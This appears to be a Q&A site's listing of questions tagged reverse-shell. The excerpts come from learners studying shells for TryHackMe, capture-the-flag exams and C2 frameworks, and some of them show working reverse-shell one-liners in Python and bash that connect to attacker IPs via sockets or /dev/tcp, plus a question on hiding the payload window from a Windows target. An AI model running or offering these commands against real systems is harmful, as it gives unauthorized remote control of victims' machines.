Questions tagged [reverse-shell]

68 questions
0
votes
0 answers

How exactly does using socat in conjuction with openssl for encrypted shells work?

While studying reverse/bind shells on TryHackMe, I encountered a few lines of code that I am struggling to fully understand their functions. Here is the code in question: openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out…
0
votes
0 answers

Writing a Netcat similar tool in c# but can't receive data from linux

I'm writing a tool like nc. I'm giving my ip adress and my port to listen for incoming connections. This is my source code : using System; using System.Collections.Generic; using System.Net; using System.Net.Sockets; using System.Text; namespace…
0
votes
1 answer

python reverse shell for windows?

i have this piece of code import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.8",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) This…
amiroof
  • 31
  • 3
0
votes
0 answers

How do I use http tunneling with Covenant c2 framework?

I'm having a hard time setting up ngrok http tunnel with the Coventant listener. First I have setup a http tunnel with ngrok to localhost:4444, then setup a listener on the Covenant ui with bind port 4444 and connect port 80. I also used the ngrok…
0
votes
0 answers

Issue connecting to a C reverse shell

i'm trying to make a simple reverse shell in c, but the issue arrives when i have to connect the victim to my computer. I set up my listener but it never connects, it only open a blank cmd at the victim pc. the code is this #include…
0
votes
1 answer

Understanding how file descriptos in Python work

So I have found a following code for reverse shell in python import socket, subprocess, os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.11.xxx",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p…
jhonnyjhonny
  • 73
  • 1
  • 4
0
votes
1 answer

Can ZSH's ZLE input into a child process?

I am trying to create a keyboard shortcut to automate upgrading my shell to a fully interactive TTY for reverse shells. Currently, I have a shortcut configured in Konsole to add this to my stdin: python3 -c "import pty;pty.spawn('/bin/bash');". I…
Max Dum
  • 181
  • 1
  • 1
  • 8
0
votes
0 answers

EOF error with raw_input - Issue executing Python script from a reverse shell

I am currently helping my university's cyber security program by creating a simple Capture the Flag style python script to be used for the final exam. I created the script and everything is working great when run natively on Windows. The issue…
0
votes
0 answers

when writing 64bit reverse shell in assembly got stuck at createrprocessA api

hello i am writing windows 64bit reverse shell in assembly and after gett connected to the targetmachine ip, i want to create process to spwan a shell, fistly i try to write startinfo struct for createprocess api, but after then i pass all the…
0
votes
0 answers

Reverse shell with netcat

I was trying to spawn a reverse shell to connect to windows computer using netcat. But windows doesn't have ncat installed by default, so I tried to connect to the PowerShell. I specified the port I was listening on. Here is the command I used: stty…
Volkov
  • 11
  • 2
0
votes
1 answer

How can i use a reverse shell over global Internet?

I'm very new to computers and hacking. The questions I have: How does one use a reverse shell over a global IP? Do I need a server or will my pc/Raspberry Pi running on my router work? Our Router has a dynamic IP, but it doesn't change often. Might…
0
votes
2 answers

Why are there two file redirections in the bash reverse shell?

I've been trying to gain a greater understanding of how reverse shells work and I've been deciphering the bash one: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 I understand that the first redirection (>&) redirects stdout and stderr, but why is there a…
MrRed
  • 1
  • 2
0
votes
0 answers

sh: 1: : not found when trying to open a new shell

I am trying to get a shell but it either doesn't open one or it throws an error and gets stuck saying ^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B sh: 1: : not found Below is the .c code #include #include #include #include…
RRHS
  • 99
  • 1
  • 2
0
votes
2 answers

bash shell and python server to send commands

I had a doubt regarding one of my reverse shell I tried locally : After trying manually the steps to get an interactive shell with the following reverse shell : python -c 'import…
0
votes
0 answers

Hide payload window on target system. Python Reverse Shell

I'm using this simple python reverse shell. When this runs, a command window pops up on the target Windows system. Is there a way to hide it? import socket BUFFER_SIZE = 1024 attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #…
Abhishek Rai
  • 2,159
  • 3
  • 18
  • 38